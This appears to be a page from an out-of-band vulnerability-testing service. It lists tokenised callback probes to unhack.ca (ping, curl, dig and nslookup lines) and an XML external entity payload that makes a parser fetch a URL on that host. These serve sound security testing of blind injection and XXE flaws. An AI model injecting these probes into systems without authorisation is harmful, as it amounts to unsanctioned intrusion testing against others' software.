$ ping -c1 -p 00d7bbd2f061e882bdb01a4118f13f00 unhack.ca
 

$ curl http://unhack.ca/p/d7bbd2f061e882bdb01a4118f13f
 

$ dig d7bbd2f061e882bdb01a4118f13f @unhack.ca
 

$ dig d7bbd2f061e882bdb01a4118f13f.ns.unhack.ca
 

C:\> nslookup d7bbd2f061e882bdb01a4118f13f unhack.ca
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d7bbd2f061e882bdb01a4118f13f">]>
    <foo>&xxe;</foo>